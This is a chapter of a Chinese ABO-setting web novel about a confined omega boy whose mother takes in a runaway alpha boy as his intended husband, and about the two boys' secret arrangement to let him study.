不多时,一个机警的小脑袋探了进来,黑豆一样的小眼睛,看了看四周,才将身子也送了进来。 它浑身覆满黑色羽毛,阳光底下会反射五彩斑斓暗光,身材短小,爪子貌似也不粗壮,却能提起比它身体重几倍的东西。 将柜子里的杂志卷起,用鞋带绑住,洛熙不舍得太用力,怕绳子勒坏精致的书皮。 将其挂在小鸟脚上,一鸟一书顺着口子轻松地离开了。 再次叹气,无所事事的洛熙,将床底的鞋子拿出来比了比,自己的脚比鞋子高了一个大拇脚趾。 爱惜地将鞋子擦了擦,放回原位。 他又爬上床,从一团被子里拿出一只光脑,缓缓开机。 刺啦刺啦的音乐声想起,老旧的开机画面说明,这是一只在市场上早已被淘汰的光脑。 它的周边全是划痕,背面贴着一个大大的草莓贴纸,十分可爱,却早在时间流逝中变得黑黄。 如果洛熙的母亲看见,一定会大吃一惊,因为这是洛熙妈妈生前使用的,而且早就坏了,维修店的人,信誓旦旦地说,根本修不好。 “平等,”嘟嘟囔囔着,洛熙在光脑上查询这个词的含义。 简略却包含着许多的定义、广泛却严格的使用范围,让小小的粉黄眼眸盛满震惊。 “哒。”光脑突然关机。 “时间到了。”意犹未尽的洛熙遗憾噘嘴,将光脑再次藏好,等待着那份他并不喜欢的午饭。 9岁的洛熙,过了9年一样的日子。 小小的天地里,勉强装着大大的梦想。 从未离开过笼子的小鸟,一旦见识过自由的天地,要么死于方寸,要么疼痛飞翔。 可被强大力量困住的小鸟,怎么可能看到外面的景象? 那就是个秘密了。 而这个秘密好像忘了,“蝴蝶效应”也是亘古不变的自然规律。 遥远的西边,或许是一只蝴蝶轻轻扇动了翅膀,细小的气流顺着风、顺着空气,滚雪球般地逐渐壮大,到达这里时,已经是一股不算小的风。 于是半路上,运送杂志的小鸟,忽觉脚上一轻,它恐惧地俯身去追,却被来自身侧的风吹得歪扭,难以快速追寻那本不算轻的杂志。 而受到重力加速度的杂志丝毫不受影响,“啪”地从空中落下,重重砸中一块石头,精美的封皮破了一个大洞,将“自赏”二字削了出去。 巨大的冲击力,让石头后的某一小小螺丝松动,咕噜噜顺着管道滚了下去,刚好卡在一处凹槽里,接近严丝合缝的触碰激活了传感器,电流沿着线路开始工作。 原本是树林的地方,忽然景色扭曲,一扇金属大门缓缓出现,而后打开,露出一条不算小的、黑漆漆的缝。 不多时,一只苍白的小手突然出现,猛地把住门框! 刺眼的阳光让脆弱的眼睛眯起,有流泪的趋势,他赶忙将手中的小狗玩偶举过头顶,遮住不友好的温暖。 慢慢张开眼睛,打量着四周,好像是在森林深处,没有人。 他缓缓探出半个身体,脚步移动,小虫飞窜逃命,半人高的野草打到脚背,锋利的叶边却不太能轻易割破皮肤。 虽然一直呼吸的空气也很干净,可门外的空气除了干净,好像还有丝丝清甜。 当他彻底站到太阳底下时,意外地,这是个干净的小alpha。 大约12岁的模样,穿着一套米白色的棉布套装,胸前有一个标牌。 同色的拖鞋上画着一只小狗,看起来柔软温馨。 虽然皮肤不正常的苍白,可身量挺高,四肢充实有力,隐有肌肉线条的胳膊夹着一只白色的小狗玩具,脸色红润,看起来像一只刚摘不久的苹果,没有被虐待或者营养不良的迹象。 然而下一秒,这个小alpha便扯开腿,往外围狂奔而去。 那扇被偶然打开的金属大门,仍杵在那里,黑漆漆的内里,带着不久之后将要到来的暴怒。 小alpha丝毫没有注意到,门框顶上,从刚才起,就站着一只做错事的小鸟,黑豆眼睛里全是惊恐,翅膀不安地轻轻拍打着,它快速扭转着头部,不断寻视四周,想找到那本遗落的杂志。 在小孩奔跑的一刹那,它突然僵硬了身体,羽毛好像被什么东西抚摸了一下,斑斓的流光消失了一瞬。 “惩罚。” 空气中隐隐传来这样的发音,它身体轻轻抖动着,而后垂头丧气,有气无力地拍打着翅膀离开了。 不远处,半人高的草丛里,飘起丝丝青烟,似乎有什么东西消失了。 夕阳西下,红色卷发的alpha结束了一天辛苦的工作,将卷帘门半放,准备去旁边的便利店买一些啤酒,犒劳下一日的不易。 结账时,又从旁边的货架挑了一包麦丽素,虽然价格在alpha看来有些许昂贵,可想起今天那张气呼呼的小脸,她忍不住笑了笑。 但很快,她又叹了口气,她总觉得自家孩子不是那么容易说服的类型。 5岁时,洛熙提出要看他妈妈的书柜,想着连拼音都没学过的小人,估计就是看图画看个热闹,她索性将书柜门锁打开,任由他翻阅。 要不是因为是亡妻遗物,这些没用的纸她早就烧了。 有时候会撞见小人坐在床边看书,认认真真的模样,好像真的能看懂似的。 日子久了,她也有疑虑,有次她想偷摸瞧瞧他在看什么,小孩儿却抬起头,将手中的书递了过来,一脸天真地笑道:“母亲,你看上面画的大乌龟。” 她一看,嚯!果真好大一只乌龟,上面还站着四个奇奇怪怪、扛着行李的人呢! 果然,孩子就是喜欢这样奇怪的热闹。 7岁时,莫名其妙要去上学,吓得自己赶忙拒绝! 上学有什么好的呢?除了要受欺负、做好多作业不说,而且那些字密密麻麻,枯燥无聊得很!怎么能和在家里天天睡觉玩耍比呢? 而且,虽然学校记忆不太美妙,可她也记得,从校长到老师,都耳提面命过,不准让omega上学!央星的大人物家的omega高贵贤惠,就是因为没有上学! 上学的omega伤风败俗、不会安分,以后的生活绝对不会幸福! 这才是最严重的,她希望她的宝贝儿一辈子开开心心、幸幸福福、像那些大人物家的omega一样高贵。 但她没想到,这两年,洛熙更是把“上学”挂在了嘴边,一度还绝食、打滚过!可还是被她都应付了过去,摆出吓人的模样,洛熙也就乖乖听话了。 只是她总觉得,还是哪里不对,倒不是说小熙换了个人,或者两人的日常相处有什么变化。 而是那双一模一样的眼睛里,越来越多了些些她看不懂的东西。 “唉……”想到这儿,alpha转身,将怀中的啤酒放回了一罐,回来时,从货架上又拿了一包麦丽素。 距离他出嫁最起码还得有9年呢,买些omega都喜欢的东西哄哄他吧,总得哄过这9年。 一下子,alpha又觉得这份钱花得值当,她拎着酒瓶和两包与自己气质不搭的零食,哼着歌往家走去。 走到门口时,眼前的一幕让alpha暴怒! 一个嚣张的小偷正在从那半拉的卷帘门里,往自己家里爬! “小兔崽子!”将东西往旁边一搁,alpha撸起两只袖子,往手掌里呸了两口唾沫,准备要这个小偷长长记性! “偷人钱财还穿白衣服,你小子胆子挺大啊!”大手虎虎生风,很轻松就将白衣小贼提在了手里。 手里小鸡崽儿一样的人,灰头土脸,米白衣服上是各种树叶草籽,脚上的脱鞋还破了个洞。 一只小狗玩偶咕噜噜地滚在一边。 这还是个半大的孩子啊! Alpha将其提着,一时张不开嘴区批评教育,想到如果不是遭遇了什么,这么大的孩子倒也不至于这幅鬼样子。 于是又软了软口气,想了几个不太尖锐的词儿。 开口时,声音还是像洪钟一般,沉重得吓死人:“你怎么一个人干这种坏……不算太好的事呢?” 小孩儿从刚才起就一直呆愣着,闻言,脸上倒是没什么惧怕的表情,只低头说了句:“对不起。” 哎呦,态度倒是挺端正。 “家里人呢?”放下戒心的alpha问道。 小孩儿一愣,随即低下头,脑袋缓缓摇了摇。 哎呦,家庭悲惨! alpha已经脑补了一出“家中遇险、孤身逃难”的大戏。 她摸摸小孩身上的衣物,在戏折子上,又补了一个“富家遗孤。” 将人放下,alpha仔细看了看,竟然还是个小alpha,难怪有逃难的毅力。 “先进来吧,在这儿住一晚,我给你弄点吃的,明天把你送星警那边。”不忍和自己孩子一般大小的孩子受苦,alpha让他进门来。 “那只玩具还要吗?”alpha问,小孩儿盯了一会儿,半晌,摇了摇头。 中午剩的豌豆和肉热了热,小alpha被她赶去了洗澡,她翻了翻衣柜,找不见一件小孩能穿的衣服,犹豫了一下,只得换下来抱起满是土的衣服去往二楼。 “小熙,睡了吗?”温柔的好母亲轻轻敲了敲门,虽然声音咚咚地连一楼洗澡的小alpha都听见了。 怎么可能睡!早就听见动静的洛熙十分好奇,但他仍旧装出一副睡眼惺忪的样子,应了一声。 推门进来时,alpha看他揉着眼睛,心疼坏了。 “怪母亲不好,大晚上还来打扰我们宝贝儿睡觉。”将衣服搁在门口,alpha往洛熙床上轻轻放了一包麦丽素,搓搓手,商量道,“刚才我捡了个落难的小孩儿,比你大点儿,家里好像还挺有钱的。” 还没说完,就被洛熙打断,他知道自己母亲要是讲故事,会讲很长时间,尤其会重点详细描述自己见义勇为的桥段:“衣服在衣柜里,小了你自己补上一块吧。” 跳下床,洛熙从衣柜里拿了一套衣服,瞥见地上的一对白色,眼神询问他母亲。 “哦,那个小孩儿衣服上有名牌,我想让你看看。”母亲一脸讨好,这时候丝毫不觉得omega会识字这件事“不合常理”了。 拿起那堆衣服,细密的触感让洛熙眉头一挑,他看着名牌,读出了那个名字:“吴天语。” 终于,这一刻,蝴蝶停止了扇动的翅膀,自然的规律完成了它的第一步运作。 第二天,正在等待小鸟送书的洛熙,听见卷帘门拉开又拉上的声音,过了两个小时,卷帘门被再次拉开。 紧接着是母亲气急败坏的声音传来:“什么叫没有这个人?你这么大个活人就杵在这儿!” “还有你!”母亲好像调转了矛头,“你身份证号也不知道,家庭住址也记不着,这么大人了,说走丢就走丢,你是傻子吗?” 洛熙掏掏耳朵,叹着气,摇了摇头,估计母亲要留下这个人了。 果然,下一秒,那个大嗓门便传来:“你现在我这儿干吧,总归不能少你一口吃的,别的以后再说。” 唉,好骗的母亲。 接下来的日子,就是洛熙总能听见楼下母亲指挥人干这个干那个的声音。 捡来的那个人似乎话不多,但任劳任怨,宰杀、拆骨、挂肉、买卖,洛熙熟悉的每一步声音,都变成了二重奏。 这人的力气应该也不错,因为母亲总会长长舒一口气后,夸赞:“这把子力气,alpha也是少有的。” 他会看、会写这么多字,母亲却从来没夸过呢。 看向桌子上的麦丽素,洛熙打开手中的结账小票,时母亲来拿衣服那晚不慎留下的,上面的麦丽素显示数量为“2”,可另一包,在哪里呢? 稚嫩的脸上浮现起阴险的笑容。 就在洛熙密谋着什么时,有一天,一道熟悉的声音传来:“哎呦喂,这不是给你家omega后代找的入赘的吧!” “胡说!”锋利的剁骨刀砍进厚厚的原木菜板中,发生“嗡”的声音。 楼上洛熙也皱起眉头,他讨厌这个声音,讨厌他高人一等的阴阳怪气、面对武力的软怂懦弱以及从不悔改的先撩者贱。 可是这次母亲没有像往常一样只吓唬(虽然平日也没故意去吓唬人),反而双手抱拳,那头快要掉完颜色的头发红蓝相间,像一堆混乱的油彩,正暴怒地支棱着。 肉眼可见,她准备离开柜台去前面揍这个口出狂言的人。 “我家小熙嫁人还是入赘关你什么事!”然而走了两步,腰就被两只手臂箍住了,力气大得出奇,让暴怒的人难以挪动,卡了一下,一下子气势掉了一半。 可掉了一半,也仍是吓人:“一天天管好自己那张破嘴,自己没有孩子,也不去查查,是不是自己不积口德,老天爷不给你下蛋的机会,只会往别人家里瞅,怎么,难说你是看上我了?我一个alpha还怕你这种变态?” 正所谓,秀才遇到兵,有理说不清。 更可靠遇到的还不是兵,是土匪一样的存在。 “你、你……”那人气得眼镜歪歪,镜座将将挂在鼻尖上,捧住胸口的手颤巍巍地抖动着,另一只手攥着买菜篮,手臂伸直,指尖颤动,指着那个哪怕被抱住,也张牙舞爪、拳打脚踢的疯狗alpha。 楼上的洛熙忍不住爬起身,这光景可新鲜得很。 左下角的小口再次被掀开,贼光闪闪的眼睛想要通过这个小小的口子,观摩一出现场的“拳打镇关西。” 好吧,画面不太像,但镇关西打拳也行。 却没想到,母亲刚要回口时,嘴却被捂住了,洛熙看见一个刚到母亲后背的身影,在其身后,踮起脚尖,正是这人的手捂住了母亲的嘴。 “x……崽子,……开我!”强壮的母亲此刻只能含混不清地叫嚣着,却无能为力。 “不好意思,”陌生的声音传来,洛熙忍不住动动耳朵,声音虽然稚嫩,却带着一种稳重,“你这单,我们不做了。” 接着母亲就被拉回了小院子里,禁锢放开的一刹那,母亲顺势扬起了她那蒲扇大的巴掌,看到这一幕的洛熙,忍不住缩了缩脖子,眯起眼睛。 过了好久,也没听见巴掌落下的声音。 洛熙悄悄将眼睛张开一条缝,才看见母亲的巴掌,将将停在那人脸庞。 而那个人,面色平静,眼神坚定,好似被打的人并不是他。 “有种。”扔下这一句,母亲就往房间走去。 此刻她身上的围裙七扭八扭,塞在靴子里的裤脚全都挣了出来,在靴筒上面挤成了一团,脸上充血,和乱糟糟的头发交相辉映,而且头发更像一个鸟窝了。 洛熙大气不敢穿,看到母亲的身影消失,他才偷偷往那人所在的地方瞅了一眼。 不料,正对上一双平静的眸子,四目相对的一刹那,他竟然能从对方的眼睛里感受到一丝笑意! “刷”地一下,小口子被人关上了。 倒反天罡! 洛熙总算能明白母亲的心情了,这人吃他家的,住他家的,欺负他妈,还伏击他! 大逆不道! 随即,洛熙开始担心,他不会跟母亲偷偷告密吧。 就算告密,他也死不承认!母亲肯定会信他的! 就这样,这一天鸡飞狗跳地过去了。 晚上,母亲来送晚饭时,又变成了那个洛熙熟悉的母亲。 但是,今天母亲将晚饭放下后,却迟迟没有走。 那双大手的手指上包着绷带,从绷带整齐的包法来看,绝不是母亲自己弄的。 “手怎么了,母亲?”洛熙皱眉,心中对那个客人更加厌恶了。 “嗐,没事儿。”和蔼的母亲挤起一脸横肉,看到洛熙心疼地捧起自己的手指呼呼,心中更是软作了一团。 接着,胳膊被小小的人抱住,委委屈屈的声音说道:“母亲,你别让自己受伤。等我长大了,我会保护你的。” “哈哈哈……”母亲欣慰地笑道,她没有当真,却仍未他的话感到高兴,“母亲以后不会受伤了,就是受伤,小熙呼呼,很快母亲也就好了。” 洛熙噘嘴,他就知道,母亲根本不相信他会保护她。 “小熙啊,母亲有件事……”肿胀的手指揪着裤子上的补丁,此刻她卸下围裙,就是一个爱子深切的母亲。 瞬间,洛熙有了不好的预感,但还是说道:“母亲,你说。” “就是……你知道的,母亲也会变老……”正值壮年的母亲说这话,另洛熙吃惊,他抬起头,望向自己“战无不胜”的母亲,却发现她脸上的担忧是实实在在的。 一时间,洛熙愣住了。 “我想,给那个小孩上个户口,”通知的口气,并不是找人商量的模样,她早就做好了决定,“但是呢,不是当你兄弟姐妹。” 哈,预感成真。 洛熙心中冷笑,上午你可不是这么说的! “他陪你长大,照顾你、了解你、唯你是从,生了孩子也跟你姓,”母亲眼光悠远,仿佛已经看到了这样的日子,“我养他到大,这点报酬不算多吧。而且我们小熙这么高贵优秀,你以后跟他,就开开心心的……” 怒发冲冠,洛熙刚想反驳,下一秒却被母亲的话堵了回去:“万一哪天我没了,他能在你身边,我也瞑目了。我看过,那个孩子老实本分,但不完全是死脑筋,又没有家,你也不用处理乱七八糟的关系。我活着的时候给你多调教,以后你绝对能拿捏住。” 这话确实,上午要不是吴天语拦着,怒气上头的母亲会做出什么样的事还不一定呢。 可这并不说明这不是个离谱的提议。 突然,看着母亲认真的表情,他好像又明白了什么叫“父母之爱子,则为之计深远。” “那人能答应吗?”仍旧厌烦这样的提议,洛熙只能寄希望于那个人是正常的。 “我问过了,他答应了,甚至可以签什么财产、人身协议!”母亲兴奋地说道。 这时候,没文化的母亲连“人身协议”都出来了,直接说“卖身契”不更好吗? 那个人也是,卖身、财产协议什么的,难道是什么好东西吗? “我要去上学。”提出交换意见,洛熙想,等我学有所成,必然要将他踹到一边。 “你说得对!我再送他去上学,长大了更好地卖身还债!”一拍大腿,“啪”的一声,母亲却丝毫不觉疼痛,只为这一新想法感到赞叹。 接着,她一边嘟囔着“还得是知识分子”,一边向门口走去。 “我不是……”无法阻止的洛熙看着母亲离开,门再次被锁上,第一次,他感觉深深的挫败感。 曾经他以为,只要他一直保持着“需要母亲”的样子,两人就会一直相依为命,结果吴天语的出现破坏了这一切。 曾经他以为,只要他一直保持着人畜无害的样子,哄着母亲,总有一天,母亲就会放下戒心,放他出去,给他自由,结果吴天语的出现又破坏了这一切。 看看我啊,母亲。 于是,接下来的日子,洛熙听见楼下不断地迎来送往,熙熙攘攘。 透过防护网,他能隐约看到穿着制服的人吃饱喝足地离去。 不久,母亲喜滋滋地捧着光脑回来了,她给小孩编了一个身份证号,将家庭住址填到了自己家,甚至还做了户籍转移的假“流程”,免得吴天语“横空出世”。 呵,洛熙冷笑,心中只觉得自己像货物一样被出卖了。 当天中午,送饭的人变了。 仍旧是洛熙的那套衣服,不知道从哪里翻出来的布,将袖口裤腿都接长了一块,粗大的针脚一看就是母亲的杰作。 “怎么,没给你买新衣服吗?”洛熙一脸良善,似乎真的在为眼前的人可怜,“谢谢你帮我把饭端上来。” 将饭放下,吴天语就坐在离洛熙最远的椅子上,没有要离开的意思。 感受到洛熙的目光,他才目视前方,轻缓说道:“母亲让我陪你吃饭,增进感情。” 伪善的alpha,这是洛熙对吴天语的第一评价。 这是我母亲!不要脸!这是洛熙对吴天语的第二评价。 就这样,日复一日,早中晚,这对拟定的“新婚夫妻”都在吃饭期间安静地增进感情。 直到,洛熙看见吴天语背着书包,离开了家门。 “凭什么!”他摔打着杯子、枕头,软绵绵的拳头落入软绵绵的被子,毫无波澜,“凭什么我不能去!凭什么一个外人都可以去!” 捧着妈妈留下的书本,他硬挺着没哭,却在良久后,突然反应过来,从吴天语来到这里开始的那天开始,那只小鸟,再也没有来过了。 而自己,因为这件事被分散了注意力,导致现在才发现。 他慌忙去杯子里寻找那只光脑,果然,光脑也无法再次开机。 该怎么形容这样的心情?绝望?不甘? 年幼的心灵里,怨恨呈指数级的增长。 早午饭仍旧是母亲送来,可洛熙却不想跟她再多说一句话,无论她许诺要买多少麦丽素、漂亮的衣服。 “我要看书。”冷静地看着母亲满头大汗的模样,洛熙最后只回复了这一句话。 然后遭到了无情的拒绝。 接着又是冷战。 傍晚放学的吴天语,溜达着慢慢回来时,便看到母亲一脸愁容地坐在桌边,望着屋内唯一的一条楼梯叹气,连晚饭都忘了做。 他放下书包,开始家务,热菜上桌时,母亲才反应过来:“天语回来了啊。” “嗯,”吴天语应道,“我去送饭。” “好,”闻言母亲又叹气,而后突然提醒道,“小熙跟我闹脾气呢,他心情不好,你不准让他不高兴,一旦我知道了,我不饶你。” 点点头,吴天语从母亲手里接过钥匙,稳稳地托着盘子上楼了。 屋内安静得很,吴天语打开门,那个总是皮笑肉不笑的omega正端坐在床前。 和昨天不同的是,床上更乱了。 他没敢多看,像往常一样将饭放好,坐在一边。 看了一会儿,他皱起眉头,书柜似乎也比昨日更乱了一点? 根据以往的观察,吴天语发现洛熙似乎十分偏爱他妈妈留下的生物类书籍,然而此刻其中一本书正放在桌边,一半悬空,摇摇欲坠。 缓缓起身,地板发出的吱吱声让omega抬头看了过来。 吴天语回望,忍不住伸出舌头舔舔嘴唇。 “你紧张什么?”笑得难看的omega问道。 “我……”该不该说,你看着我的眼神好像要把我活撕了? “磨磨唧唧,真不知道哪里好了。”虽然知道眼前这人也是寄人篱下,可他助纣为虐的行为,让洛熙也烦躁得很,忍不住白了他一眼。 他清楚,就算吴天语再反对,母亲也仍旧会一意孤行。 因为母亲,用实力掌握着家里的话语权。 但他实在懒得装了,本来还想跟这个人井水不犯河水,装模作样哄着他为自己所用,等获得自由,就把他一脚踹开。 现在,他实在是怒气冲到了顶峰。 母亲的不理解、小鸟的缺席,让他仿佛独自置身孤岛,手足无措。 他毕竟只有9岁,还能怎么做呢? 咬紧牙根,洛熙尽量让自己冷静,可耳边传来的声音又让他忍不住望去,当看到吴天语动妈妈的书时,他终于爆发了,像饭菜一把掀翻,大声吼道:“你做什么!不准碰!” 而吴天宇将书本放回到桌内,就被尖利的叫声吓了一跳,接着一个娇小的身影冲了过来,一下撞进了怀里,他吓得后退了好几步,手往旁边伸开,摆出投降的姿势。 楼下母亲的声音传来:“怎么了?小熙你没事儿吧?” 接着是靴子的咚咚声。 不知道为什么,吴天语突然扯着小人走到门边,将门锁上了。 下一秒,巨大的敲门声和门锁转动声出现。 “我没事儿,母亲。”洛熙的声音听起来和平常一样,他看了看紧张的人,继续说,“刚才天语为了逗我开心,把饭菜打翻了,吓我一跳。” “真的吗?”母亲仍旧不放心,但动作却轻缓了下来,无他,因为冷战了一天的洛熙终于肯叫她母亲了,说不定天语真的哄好了他,“可你们为什么要关门?” “我罚他给我收拾完饭菜,给我跳一支滑稽的舞才能离开,”洛熙手掌掐住吴天语的脖子,暗暗用力,“他害羞不愿意,我怕他跑,就把门锁上了,你快离开吧母亲,不然他不会给我跳舞呢。” “真的不用母亲进去吗?”门外的母亲闻言,心中安稳了不少,她就说自家孩子能拿捏住他,“母亲想看看你。” “你再不走我就要生气了!”洛熙的声音开始烦躁起来。 “好好好。”母亲赶忙应道,叮嘱了吴天语几句“好好表演,不要惹他生气”后才离开。 而一直没说话的吴天宇此刻正一头雾水,他不太明白这个omega为什么要一直摸他的脖子。 “你去死!”此刻洛熙的眼眶已然通红,“不准你碰妈妈的书,你都上学了,为什么还要跟我抢这些!” “你想上学?”终于明白omega的怒气来自哪里,吴天语将弄得自己痒痒的手从脖子上拨弄了下来。 “谁不想上学!”看到自己的攻击被轻易瓦解,洛熙心中更加不快,他压低声音怒吼着,像一只炸毛的小豹子。 “我可以把书带上来你看,但我已经上三年级了,没关系吗?”吴天语声音温和,这话说得就和他总说的那句“饭来了”一样平常。 这下洛熙开始怔愣了,他看着吴天语,这个比自己高一个头的人眼中没有害怕、没有拒绝、没有虚伪、没有嘲笑、更没有不信。 他似乎真心诚意地想帮自己。 “可母亲不让怎么办?”洛熙喃喃。 “没关系,母亲不识字,查我书包也看不出什么,”吴天语嘴角微勾,语气带着安抚,眼睛里也仿佛藏着一股和煦微风,“我偷偷带一本上来没事的,就算被发现了,我就说,是我嫌在楼下写作业麻烦,利用吃饭时间写,别害怕,她不会怪你的。” 眼睛是心灵的窗户。 洛熙脑海里闪过这样一句话。 他悻悻将手藏在身后,双脚并拢。 “我没想动你妈妈的书,只是那本你喜欢的书快要掉到地上了。”吴天语将地上的饭菜收拾了出来,继而询问道他是否还想吃饭,他可以重新端一份。 洛熙站在原地,摇摇头,于是吴天语将人抱回到床上后,便离开了。 听到门被上锁,洛熙赶忙趴到窗前,他知道吴天语一定会去院子里刷碗,果然,下楼后他和母亲说了几句,便端着餐具出来了。 虽然看不清楚,但洛熙仍在在窗边看了很久,直到吴天语起身,临进屋时,他也抬头往二楼看了一眼,眼神里布满笑意。 “嗖”地一下,洛熙缩了回去。 此刻,恰巧天边传来一股冷峻的微风,如果不是星光点点,差点让人以为明日将会是不明媚的天气。 虽然失去了小鸟,洛熙梦寐以求的上学生活却隐秘地开始了。 现在他们是一个联盟的战友了,新的一天,洛熙满心期待,总是时不时望向钟表,期待着“上学”。 终于门口传来脚步声,洛熙跑到窗前,看到那个身影气喘吁吁。 他冲进房间,一顿丁零当啷,母亲在楼下喊着:“天语,你慢点儿,慌什么?” “我想尽快弄完,去学习。”那人气还没喘匀,温和地回复。 “好孩子、好孩子,好好上学,以后能有大出息哦。”母亲对他更加欣赏了,而洛熙则翻了个白眼。 但这并不妨碍洛熙的期待,听见上楼的脚步声,他忍不住偷笑出声。 门打开,吴天语看见小人像一只假装正经的兴奋小鼠,尽管他想表现得不屑一顾,可站在门前的样子依然出卖了他。 “不先吃饭吗?”吴天语问道,从裤腰里,掏出来一本书。 “你吃吧。”一把夺过书,洛熙直接去桌边坐下,打开台灯,细细研读了起来。 等了一会儿,饭菜微凉,吴天语不得他法,只能将人从书桌前扒开,明令只有吃完饭才能继续看书,否则自己就罢工。 小人才嘟囔着“好啊,才第一天就知道拿捏我了”将饭菜往口中迅速塞满。 “我明早再来拿,第二天不需要的书,我也可以顺便留在你这里。”吴天语出声。 他不想让洛熙觉得自己在“拿捏他”,他想和洛熙做朋友,如果可以的话。 “那太好了!” Omega眼里似乎装着窗外的星辰,让吴天语忍不住笑眯了眼睛。 两人的暗度陈仓非常成功,以至于第二天吴天语表示上学之前,必须要上去和洛熙打个招呼时,母亲还连连说了几声“好”,对两人的进度十分满意。 于是,母亲又变成了只送午饭。 就这样,计划有条不紊地进行着。 两人也随着时间不断熟悉,洛熙有时会讲一些过去的事情,比如和母亲的抗争,或者听来的家长里短,每每问起吴天语,他却只回答:“不记得了。” 他甚至连学校生活都不讲,直到洛熙询问,他才思索了一下,然后说了一句:“一般。” 引来洛熙的强烈不满。 直到四年级的某天,洛熙冲吴天宇抱怨:“这些知识对我来说都有些简单了,你有时间吗?我想听听高年级的课。” “反正你也跟不上学校的进度,不如你帮我去听课,我帮你测试押题怎么样?”洛熙真诚地提议道,这种交换很公平,“我押题,你放心,绝对让你得第一。” 可洛熙毕竟没有上过学,他不清楚,吴天语上课是需要坐在教室里,不可以乱跑随便听课的。 但明明知道这样会让自己被处分,吴天语想了想还是答应了,但他说,需要等一个周。 不解其意,不过做生意嘛,就得相互谅解,洛熙也同意了。 于是每日吴天语回来的时间更晚了些,而且每天都满头大汗,有时脸上还会带着伤口,他仍旧会做好饭给母亲和洛熙,但有时在陪洛熙吃饭时,会在椅子上沉沉睡去。 “你没事吧?”洛熙很担心自己的合作伙伴精力不济,耽误自己的上学大业。 摇摇头,吴天语仍旧笑得温和。 连母亲都觉察到了不对劲,她严肃地询问吴天语是不是在外面惹了什么麻烦,但吴天宇回复道:“并没有,母亲,很快你就会知道了。” 这孩子的作为,她一直看在眼里,这么多年,她总是赞叹自己的眼光极好,对天语极其满意,就算那个小学老师再也不来自家买肉,遇到时,她也会硬拽着他,给篮子里塞上一块,谢谢他的好提议。 而且,自从懂事的天语到来,家里的生意在他的帮忙下,也越做越好,甚至有人夸她服务态度都进步了呢! 看着天语身上新添置的衣物,终于摆脱补丁的踪影,母亲只觉得这孩子真是个“福星”。 是个有出息的alpha,小熙怕是以后只能跟他过好日子了哦! 所以,她十分了解天语生性温和稳重,他说没事应该就是没事。 “别让自己太累了。” 终于,一个周以后,母亲的生日那天,吴天语带回了一个小小的胸针,是母亲喜欢的豌豆模样。 “天语,我的好孩子,你说你一直在打街拳买这个吗?”母亲拿过胸针,手指却因为粗壮每每不能将它别在胸前。 吴天语接过,将它顺溜地别了上去。 然后,迎来一个巨大的熊抱。 一直坚强的母亲泣不成声。 安慰完过于感动的母亲,本来想要给洛熙看看的alpha此刻却因为通红的眼睛不好意思,吴天语便一人上楼了。 “马屁精!”洛熙双手还胸,坐在床边,“如果我也能出门,我肯定会给母亲带回来更贵的礼物。” “没错,”吴天语应和,放下餐具,他此时皮肤已经变得黝黑,笑起来唯独那口牙格外晃人,“我也给你带了礼物。” 虽然不想让自己好奇显得很没面子,可乱飘的眼神还是说明了洛熙的心思。 吴天语从口袋里拿出一支银色的长条。 “录音笔!”双手捂住嘴巴,洛熙不可置信,激动和兴奋已经要从眼中溢出。 “这样,你就可以听到更高年级的课了。”接着,吴天语又收到了一个拥抱,这个拥抱小小轻轻,却让他会心一笑。 “我是你的,朋友吗?”他小心翼翼地问出。 洛熙愣了一下,眼眸深处波光流转,然后开心地回复:“当然了,你是我的朋友!” 这样的话总是听起来很美妙,哪怕是谎言。 吴天语并未在意,轻声回了一句:“谢谢。” “什么是街拳,天语?”洛熙收回胳膊,仰起小脸问道。 自从他的光脑不能用了,很多词汇通过那本厚厚的工具书也没法查询,导致他只能通过询问家里的两人或者听人说话获取信息。 这种无法掌控的失重感,令洛熙不满,但却毫无他法。 光脑虽然不是什么稀罕物,但以母亲的教育理念,洛熙是不可能拥有一只光脑的,而吴天语,家里的财力也不允许他在这个年纪拥有。 “别问,”他用手蒙住洛熙的眼睛,“等以后我带你去看。” “好耶!”掌下的小人欢欣雀跃,如果不是极速颤动的睫毛,吴天语差点信以为真。 他总是这样,野心勃勃、充满干劲。 像一匹藏在暗处的恶狼,只有人放下戒心时,才会张开血盆大口。 日子一天天过去,洛熙每天都会收到初中的录音课程,和几本不知道转了几手的、吴天语给的教材。 终于,有一天,老师家访。 母亲知道了吴天语经常旷课的事情。 这天晚上,吴天语跪在院子里,母亲的棍棒狠狠地打在他的后背,她怒问:“为什么逃课?” “老师说你成绩虽然算不上很好,却也不是很坏。”棍棍到肉的声音令洛熙头皮发麻。 “你学习差,我都可以供你,为什么要逃课?”吴天语咬紧牙关,一言不发。 而洛熙呼吸急促,双手捂住嘴巴,他十分害怕,害怕两人的事情被母亲知道。 终于,母亲刚要说“不然这个学你也别上了,早点跟我回来学屠宰”的时候,吴天语出声了。 “母亲,”气若游丝,但语气却坚定得很,“如果我期末得了第一,那是不是,每日旷课也可以?” “做什么梦呢?”母亲的语气是个不解,这个孩子,在自己眼皮底下,不仅学会耍滑头了,还学会做白日梦了,“说!是不是外面的某个人带坏了你!” 她的脑海中开始将附近的人挨个过滤。 “母亲,你就说可不可以就行。”吴天语转过头,神色稳重坚定,绝不是开玩笑的样子。 一时间,母亲也被他唬住了。 “行,”棍棒被扔向一旁,发出叮铃乓啷的声音,“但凡不是第一,你都给老子退学!” 楼上的洛熙,这才敢把手掌放下,缓缓还是喘气。 幸好,他没有供出自己来。同时,他暗自还有些高兴,他知道吴天语的意思,但这样,是不是就意味着自己也有拿捏他的把柄了? 随即,他又想到“唇亡齿寒”,又忍不住“切”了一声。 本来以为挨打的吴天语今天不会来楼上,没想到时间一到,门还是打开了,洛熙以为是母亲,抬头却只看到门缝里,一只手将餐盘和录音笔递了进来。 洛熙能看到那人手指上,还有指甲掐过的血痕。 “你抹药了吗?”洛熙皱眉,忍不住出声。 手指颤了颤,等了一会,吴天语才开口,好像仍是有气无力:“抹了。” 这不睁着眼睛说瞎话呢嘛。 洛熙起身,翻箱倒柜地倒腾伤药。 虽然自己不出门,可母亲总怕自己不小心磕着碰着,送来许多比较贵的药品,有点“过度医疗”的意思。但一分价钱一分货,母亲自己那里存着的,肯定没自己的好。 从中取了些通筋活络的药品,还有一些纱布、止血贴,洛熙找了个小袋子装着,将它们轻轻挂到那人的手指上。 “谢谢。”两人同时出声,被装袋的东西传来轻轻的哗啦声。 “就算是alpha也不能对伤口太掉以轻心。” 吴天语无声地笑了,他很高兴,因为他清楚地感知到,门后的那个小人,是真心。 这件事在母亲那里,最终以吴天语期末拿着第一的证明回家而翻篇。 